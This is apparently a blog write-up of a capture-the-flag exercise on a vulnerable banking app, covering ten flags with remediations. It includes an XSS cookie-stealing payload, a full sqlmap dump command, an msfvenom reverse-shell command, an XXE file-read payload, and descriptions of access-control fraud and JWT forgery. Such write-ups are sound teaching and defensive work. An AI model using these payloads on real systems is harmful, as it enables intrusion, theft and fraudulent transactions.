Posted on Jul 27, 2021

A brief summary of a capture the flag activity I carried out on 25/07/21, with details of the exploits used and possible remediations.

Cookie containing user data encoded in Base64.


Avoid storing confidential or personal data in cookies, instead storing the information server-side and associating it with a cookie containing no meaningful information.

Flag 2 - test data in source code

Preprod code left in production html.


Code review, following coding best practises such as never hard-coding credentials.

Flag 3 - broken access control

The following call reveals a simple numeric id:


The id value is easily enumerable and the account with £1m + was found by fuzzing id values from 0 - 150 in ZAP and sorting by response size. Despite having a session associated with id 103, no access control was enforced, allowing access to all other users' account balances.


Develop and implement an access control policy that allows each user access only to their own resources.

Flag 4 - broken access control

A legitimate bank transfer was made and the call was analysed:

POST /Payments/New


By swapping the recipient and source details, it was possible to make a fraudulent transaction from another customer’s account into the test account.


Extend the access control policy to include all actions, ensuring that users can only carry out actions relating to their own resources.

Flag 5 - XSS

When carrying out a bank transfer, it is possible to inject malicious javascript into the Reference field, which is executed by the victim’s machine.

The following payload was used to exploit the vulnerability:

<script>document.write('<img src="' + document.cookie + '" />')</script>

The cookie was collected on the attacker’s machine via a netcat listener.


Perform client and server-side sanification of all user input, encoding special characters safely before they are incorporated into application html/css/js documents. Add extra protection to cookies with the HttpOnly flag when possible.

Flag 6 - SQL injection

The username field in the login is vulnerable to SQL injection. SQLMap was used to dump the entire database, revealing confidential information such as full name, address, password, bank balance etc. of all users.

sqlmap -u --data="username_field=test&password_field=test123" --level=5 --risk=3 --dbms=mysql --technique=b --dump


Use parametrised statements, escape all user input and ensure least privilege is applied to all database users.

Flag 7 - path traversal

To retrieve an account report pdf, the application makes the following call:


An attacker can perform path traversal by manipulating the id parameter like so:


The attacker can navigate the server arbitrarily, leading to a loss of confidentiality.


Validate any user input against an allow-list of permitted values. Then, append the input onto a base directory and canonicalise the path, checking that the canonicalised path starts with the expected base directory before reading the desired file.

Flag 8 - insecure file upload

It is possible to upload arbitrary files as custom credit card images. Msfvenom was used to generate a java reverse shell payload:

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT=443 -f raw > shell.jsp

which was caught with a netcat listener, leading to remote code execution.


Implement allow or block-lists of file types and validate them against Content-Type header, file extension and format signature.

Flag 9 - XXE

When creating a report, the following call is made:

POST /Accounts/Summary

<account><accountId>103</accountId><accountHolderName>a a</accountHolderName><accountNumber>40517979</accountNumber><sortCode>026930</sortCode><balance>9.0</balance></account>

By injecting the following payload, it was possible to read the contents of etc/passwd:

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY ent SYSTEM 'file:///etc/passwd'>]><account><accountId>103</accountId><accountHolderName>a a</accountHolderName><accountNumber>40517979</accountNumber><sortCode>&ent;</sortCode><balance>9.0</balance></account>


Disable DTDs completely, or configure the XML parser to disable external entities.

Flag 10 - JWT manipulation

By manipulating the username in the JWT payload, and changing the signature algorithm to NONE in the header, it was possible to impersonate the user jwt-user.


Use an asymmetric signing algorithm such as RS256 to sign the JWT and verify the signature on each use of the token to ensure data integrity. Ensure any JWT with algorithm type NONE is never validated.